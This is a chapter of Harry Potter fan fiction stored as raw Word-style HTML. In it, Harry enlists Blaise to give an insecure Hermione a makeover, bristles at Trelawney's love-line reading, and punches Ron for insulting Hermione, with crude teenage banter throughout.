	(15, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer:&nbsp; No way are any of the original HP characters mine they totally\nbelong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this,\nwhere do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><b style="mso-bidi-font-weight:\nnormal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">All\nThat She Wants</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n3&#8212;Pretty Woman</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione was walking down the\ncorridor to Arithmancy when she saw Justin talking\nwith Lavender.&nbsp; She kept her eyes on the\npair but kept walking. She didn&#8217;t see where she was going and ran right into an\nopen door bumping her head, &#8220;OW!!!&#8221; not to mention dropping all her books.&nbsp; &#8220;Oh bugger.&#8221; She cursed. Hermione kneeled\ndown on the floor to pick up her books.&nbsp;\nSomeone else also squatted down next to her helping her pick up her\nbooks. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know you really should be more\ncareful.&#8221; He said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She turned and found Harry with an\namused grin on his face, he the book he had picked up out to her.&nbsp; Hermione grabbed it from him, &#8220;thanks Harry.&#8221;\nShe placed it back on top of her stack and stood and continued on towards her\nclass.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay, what has you so\ndistracted?&nbsp; Besides\nyou thinking about me twenty four hours a day.&#8221; Harry asked as he\nstarted walking with her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes, &#8220;Sure\nHarry, I was totally thinking about you. You&#8217;re all I ever think about.&nbsp; I just can&#8217;t keep my mind off of&#8212;&#8221; She\nstopped in mid sentence staring behind Harry watching Justin who was obviously\nfawning all over Lavender.&nbsp; &#8220;How in Hades\ncan I even compete with that?&#8221; She lifted her hand, palm facing upward in the\ndirection of Justin and Lavender.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned half way around and\nsurveyed to situation, he thought a minute and turned back facing Hermione.\n&#8220;What do you mean?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I mean look at her, she&#8217;s so\nbeautiful and then well there&#8217;s me.&#8221;&nbsp; She\nglanced down at her plain black robes which underneath she wore a beige knee\nlength skirt and plain white shirt she ran her fingers through her fluffed up\nhair. &#8220;Plain ole me.&#8221; She\nsaid quietly.&nbsp;&nbsp;&nbsp; She didn&#8217;t say anything\nmore and started on down the hall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched Hermione as she\nwalked away towards her class, he turned and took one\nlast look at Justin and Lavender.&nbsp;\nHarry&#8217;s eyes narrowed in thought, a light bulb seemed to come on in the\nback of his mind with an idea.&nbsp; Sure\nLavender was pretty, he had his chance with her and oh what a hot little number\nshe had been.&nbsp; After his mind finished\nwandering down memory lane he had come to the decision, the ultimate conclusion\nand smiled in the thought.&nbsp; He needed to\nfind Blaise immediately she would be able to help him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He was about to head in the direction\nof his next class when Kelly rounded the corner, her nose stuck in that same\nbook.&nbsp; Harry took a quick look in the\nshiny suit of armor and attempted to flatten his hair down,\nit would have none of it. He just shrugged, oh well the ladies always thought\nhe looked so hot with messed up hair, it gave him that rugged, irresistible\nlook.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry approached her, &#8220;Good\nmorning Kelly.&#8221; He said cheerfully. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Mm.&#8221;\nKelly replied in some sort of non committal noise as she continued to walk\nwhile she read.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that book really all that\ninteresting?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes.&#8221; She said quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s it about.&#8221; Harry wanted to\nhave any conversation with her, he would talk about\nthe blasted newts at the bottom of the lake if necessary.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing you would be interested\nin.&#8221; Kelly said as she walked away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was a bit distressed, how\nwould she know what interests him.&nbsp; He\nwould get to her somehow he just needed the right angle.&nbsp; He walked towards the ladder that led up the\ndivination class.&nbsp; The room reeked spice,\nit was way too much and he felt short of breath as he took his seat next to\nNeville Longbottom a Ravenclaw.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Professor Trelawney came out from\nbehind a beaded curtain, her bracelets which dangled\non her wrists clanged together making quite a racket.&nbsp; She pressed her finger up to her forehead,\n&#8220;Today is Love day.&nbsp; We will go over your\nlove lines and I will make predications for all of your love lives.&nbsp; I&#8217;ll start with&#8221; She closed her eyes and\npointed a finger about the room.&nbsp;\n&#8220;Neville Longbottom.&#8221;&nbsp; Trelawney\nsaid with a smile and Neville gulped and started up to the front of the\nclassroom.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned around in his seat\nlooking at Blaise who was also reading a book.&nbsp;\n&#8220;What is with these books lately?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise sat the book down and\nlooked at him, &#8220;What on Earth are you talking about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you know that Gryffindor\nKelly, well she&#8217;s reading a book that looks similar to that one.&#8221; Harry pointed\nto the book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I take it this Kelly is the prime\ntarget of the year.&#8221; Blaise said with a smirk, &#8220;Good luck in snagging her my\nfriend.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know Hermione also gave me\nthat same speech.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise&#8217;s face scrunched up hearing\nthe name Hermione, &#8220;I can&#8217;t understand how you can even be friends with such a\ngirl.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She&#8217;s not really all that bad you\nknow.&#8221;&nbsp; Harry said and then smiled a\nlittle,&nbsp; &#8220;She&#8217;s\nactually pretty interesting.&nbsp; I remember\none time we were in the library and that asshole Weasley walks in.&nbsp; He had gotten some injury on his big toe; he\nprobably tried to stick it up his own ass for all I know.&nbsp; But he couldn&#8217;t wear a shoe.&#8221;&nbsp; He started laughing.&nbsp; Hermione using an elevating charm floated one\nof her really large, heavy books over towards Weasley,&nbsp; the stupid git\nwasn&#8217;t even paying attention as Hermione ended the charm and that book came\ncrashing down on his big toe.&nbsp; He gave\nout the biggest wail and scream even more painful then when I heard Voldemort&#8217;s last scream.&nbsp;&nbsp;\nYou should have seen the large tears streaming from his eyes.&#8221;&nbsp; Harry couldn&#8217;t help the fits of laughter as\nhe remembered that day as if it were yesterday.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why did she even do that to\nhim?&#8221; Blaise wasn&#8217;t finding that funny at all.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Weasley gets a kick out of\ntormenting Hermione on a daily basis, always cutting her down for being muggle\nborn and such.&nbsp; So one day she just let him\nhave her wrath.&#8221;&nbsp; He cleared his throat,\n&#8220;so what kind of a book is that?&#8221; He brought his attention back to the problem\nat hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s a lovely romance novel by an\nexceptional, muggle author Brenda Joyce.&#8221;&nbsp;\nBlaise said proudly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ooo, a sex\nbook.&#8221; Harry grabbed for the book and opened it.&nbsp; He flipped through it looking for anything\nentertaining.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It is more then just a sex book Harry, it&#8217;s got a vivid plot and wonderful characters.&#8221;\nBlaise said staring off into the distance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, yeah.&#8221;\nHe turned the pages quickly, &#8220;Come on where&#8217;s the good stuff.&#8221;\nHarry continued flipping though the novel.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise reached over and plucked it\nfrom his hands, &#8220;You are a horny little devil aren&#8217;t you?&#8221; She grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You better believe it baby.&#8221; He\nwiggled his eyebrows.&nbsp; &#8220;Do you wanna have\na go with me? You know during the half hour break.&#8221; Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Um, some other\ntime. I have much more important things to do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry scoffed, &#8220;what could be more\nimportant then me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My homework.&#8221;\nShe said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry burst out into laughter,\nBlaise even sounded like Hermione.&nbsp; His\nplan wrung out in his mind, he had almost forgotten.&nbsp; &#8220;Oh Blaise can you come up\nto my room after dinner tonight?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What for?&#8221;\nBlaise asked with suspicion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s not for anything like that, unless\nyou want it to be.&#8221; He smirked.&nbsp;\n&#8220;Actually, I&#8217;m going to need your help with something.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I bet you say that to all the\ngirls.&#8221; Blaise said with her own trademark smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head in amusement,\n&#8220;Will you just please come to my room tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well alright then.&#8221;&nbsp; Blaise glanced down at her book.&nbsp; &#8220;You know Harry, Kelly reads the same books\nas I do.&nbsp; If you really wanted to get on\nher good side, you would read the same book she&#8217;s interested in right now.&nbsp; That way you two can talk about it,\ntogether.&#8221; She added slowly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought a moment,\na delightful smile crept across his face.&nbsp;\n&#8220;You know what Blaise, you are a ruddy genius.&nbsp; Why didn&#8217;t I think of that?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You just said so, I&#8217;m a genius\nand you&#8217;re not.&#8221;&nbsp; Blaise returned his smirk,\n&#8220;I&#8217;ll bring you the book that she&#8217;s reading at dinner tonight.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excellent.&#8221; Harry said, he heard\nhis name being called by the professor and he stood.&nbsp; &#8220;Well it looks like it&#8217;s my turn.&nbsp; Like I need to know how my love life is\ngoing.&#8221; Harry was smug.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;One of these days Harry, it&#8217;s not\nalways going to go your way.&#8221;&nbsp; Blaise\nsaid with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I can assure you that I will\nnever have a problem winning the affections of a lady.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not talking about just\naffections Harry, you are going to lose your heart and you won&#8217;t even know what\nhit you.&#8221; Blaise replied as Harry turned, and walked up towards Professor\nTrelawney.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down in the chair in\nfront of the professor and she took his hand and turned it palm up.&nbsp; &#8220;Okay what do you see in my line?&#8221; He asked\nnot really interested in the answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh this is very interesting.&#8221; She\nsaid looking into his eyes, &#8220;you&#8217;ve had quite a number of romances.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:normal">&#8216;Like I needed to know that.&#8217;</i>\nHarry thought to himself. &#8220;What else?&#8221; He asked innocently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She continued to look down at his\nhand. &#8220;You will have a few more this year.&nbsp;\nYou do not love any of these girls, but here. Right\nhere.&#8221;&nbsp; She pointed to his love\nline with a gentle finger.&nbsp; &#8220;You will\nlose your heart, you will love.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry tried to pull his hand away\nbut Trelawney kept a firm grasp on his hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wasn&#8217;t finished.&#8221; She continued\nto look into his hand, &#8220;There are two paths for this love,&#8221; She pointed as the\nlove line broke off into a smaller line going in another direction.&nbsp; &#8220;This one isn&#8217;t set in stone you could do\nsomething very right, or very wrong.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry rolled his eyes, &#8220;Yes of\ncourse I could do something very right or very wrong, that&#8217;s the way life\nis.&nbsp; I don&#8217;t need a prediction to tell me\nthat.&#8221; He said his voice was harsh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you angry Harry?&#8221; Trelawney\nlooked up into his eyes.&nbsp; She could\nclearly see his anger.&nbsp; &#8220;What is there to\nbe angry about?&nbsp; This should be a happy\ntime.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will..not love&#8230;anyone.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You can not control what the\nheart wants, if it wants to love it will.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will never love anyone.&nbsp; How am I to even know what its like to love\nsomeone? Everything I was shown were horrors and cruelty.&nbsp; There is no such thing as love, of course\nthere is such think as lust which I am perfectly happy with.&#8221; Harry pulled his\nhand from hers and stood.&nbsp; &#8220;I don&#8217;t want\nto love or to be loved.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She knew which path he was going\nto take just by looking at him, &#8220;you are going to love and you are going to\nlose.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well if I never love, then I will\nnever lose.&#8221; Harry, who was now in a bad mood stalked away from the professor\nback to his desk.&nbsp; The bell wrung ending\nthe class.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise noticed his terrible mood\nand placed a hand on his shoulder but he shrugged her off. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please don&#8217;t.&#8221; Harry said as he\nreached down for his bag.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry what&#8217;s the matter, what did\nshe say?&#8221;&nbsp; She rested her hand on his\nshoulder again but he quickly moved away from her touch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It doesn&#8217;t matter, and I would\nappreciate it if you didn&#8217;t touch me right now.&#8221; Harry threw his bag over his\nshoulder and left the class room in a hurry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise sighed,\nwell she was used to his moods and usually when he got like this she would\nleave him alone.&nbsp; It was always for the\nbest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry hurried down the hall\ntowards the dungeons for potions,&nbsp; he heard a feminine voice calling to\nhim but he ignored it.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Why can&#8217;t Blaise just leave me alone.&#8217;</i>&nbsp; He\nthought to himself.&nbsp; He was approaching a\ncrowded hallway and he had to stop.&nbsp; As\nsoon as he did he felt a hand on his arm.&nbsp;\nHe roughly ripped his arm away from her touch.&nbsp; &#8220;I said to leave me alone!&#8221; Harry shouted and\nturned around seeing a wide eyed Hermione staring at him, his stomach dropped\nto his feet.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well&#8230;sorry.&#8221; Hermione was in\ncomplete shock at his anger towards her &#8220;I&#8217;ll just go now.&#8221;&nbsp; She tried to walk passed him feeling just a\nlittle hurt.&nbsp; He quickly grabbed her arm\nbefore she could get away, she turned facing him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione I&#8217;m sorry. I didn&#8217;t mean\nto yell at you. I thought you were Blaise.&#8221;&nbsp;\nHarry really was sorry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What could she have done to make\nyou that angry?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It wasn&#8217;t exactly her, it was more of the entire divination class that has me\na little steamed. And I just didn&#8217;t want to talk to her about it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Was it really that bad?&#8221; She\nasked seeing his whole body rigid with anger, and she knew it had to be\nbad.&nbsp;&nbsp; Without really thinking about it\nshe reached out and pulled him into a tight embrace.&nbsp; She felt his arms go around her in the same\ntight hold that she had him in.&nbsp; Hermione\nfelt him relax as his anger seemed to fade away.&nbsp; &#8220;I wouldn&#8217;t trust anything that old bat\nTrelawney would say anyway, you know her predications are wrong.&#8221; She spoke in\na soft, soothing tone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed, &#8220;Yeah, I suppose\nyou&#8217;re right.&#8221; And his arms tightened even more around her.&nbsp; For some reason whenever he was feeling\nhorrible or sad, Hermione would just simply hold him which always made him feel\nbetter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course I&#8217;m right.&#8221; Hermione\nsmiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes you are right, what would I\ndo with out you?&#8221; Harry smiled a little.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Probably die of stress.&#8221; Hermione\nanswered with a tiny laugh.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, yes you do seem to help me\nout in my most stressful times.&nbsp; Hey do\nyou know what a good relief of stress is?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No I don&#8217;t, do you?&#8221; Hermione\nregretted asking she felt him nod.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Having sex is a great way to\nrelieve stress.&#8221; Harry said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione scoffed and pulled back a\nlittle bit from him, so she could look him in the eye. &#8220;I am not having sex\nwith you.&#8221; She couldn&#8217;t help the grin the crossed her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh why not, I mean I&#8217;m under a\nlot, no a ton of stress.&#8221; He tried to look extremely serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you can always resort to the\none man show if you are under that much stress and need a release.&#8221; Hermione\nreplied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But the one man show isn&#8217;t as fulfilling.&#8221;\nHe replied sounding as innocent as possible.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t know, the one woman\nshow seems to be&#8212;&#8221; Hermione was interrupted</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah so Super Slytherin and the new\nand improved Gryffindor whore talking amongst themselves.&#8221; An annoying voice\ninterrupted Harry and Hermione&#8217;s conversation. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pulled her the rest of\nthe way out of Harry&#8217;s embrace, and turned towards the annoying voice. &#8220;What\ndid you just call me Weasel?&#8221; She spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well why else would you be\ntouching that?&#8221; Ron pointed towards Harry with a jerk of his chin. &#8220;Unless you were whoring around.&#8221; He smirked evilly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I despise you rodent.&#8221; Hermione\nobviously hurt by Ron&#8217;s words just walked into the potion&#8217;s class.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron turned to Harry, &#8220;Oh did I\nchase your little whore away?&#8221; He said sarcastically.&nbsp; &#8220;I wouldn&#8217;t worry, I know you could get way\nbetter ass than that piece of filth. Ah but who knows, the ugly ones are always\ngood in the sack.&nbsp; Maybe I should take a\ncrack at her.&#8221; Ron was very smug.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry calmly approached Ron\nstanding directly in front of him.&nbsp;\nWithout warning his fist shot up hitting Ron right in the stomach\ncausing the red head to bend over in pain, as he clutched his stomach.&nbsp; Harry leaned closer to his ear, &#8220;Listen to me\nyou shit, my threat still stands.&nbsp; If you\ngo near her or hurt her in any way, after I get through with you, you will beg\nfor the angel of death to take you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After classes were over and dinner\nwas finished, Hermione was looking forward to a great evening of studying in\nher own private room.&nbsp; She had already\ntaken the liberty of checking out a few extra books from the library.&nbsp; She entered her bed room and heard a\nshuffling in Harry&#8217;s room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Hermione\ncan you come in here a second?&#8221;&nbsp;\nHarry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure.&#8221; Hermione made her way into\nHarry&#8217;s room, and when she stepped in through the arch way she saw Blaise\nsitting on his bed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at Hermione with a\nsmile and approached her, &#8220;Hermione this is Blaise.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyes narrowed, &#8220;I know\nwho she is.&nbsp; The question is what is,\nwhat is she doing in your room?&nbsp; Besides probably the obvious of course.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, she&#8217;s not here for that. I\nasked her to help you.&#8221;&nbsp; Harry said with\na smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Help me? With\nwhat?&#8221; Hermione looked at Harry, she surely\ndidn&#8217;t understand his reasoning for this.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you consider yourself plain\nand boring, Blaise here can fix that for you.&nbsp; She can make you go from plain to a little\nmore then plain.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ha, ha, ha&#8221; She laughed\nsarcastically, &#8220;I don&#8217;t think so.&#8221; She started to walk away but Harry quickly\ngrabbed her upper arm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yes she is, remember you have\nto whatever I say because I know what I&#8217;m doing.&#8221;&nbsp;&nbsp; Harry reminded her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pulled her arm from his\ntouch, &#8220;I don&#8217;t think this is such a good idea.&#8221; She crossed her arms in front\nof her.</p>\n\n<p class="MsoNormal" 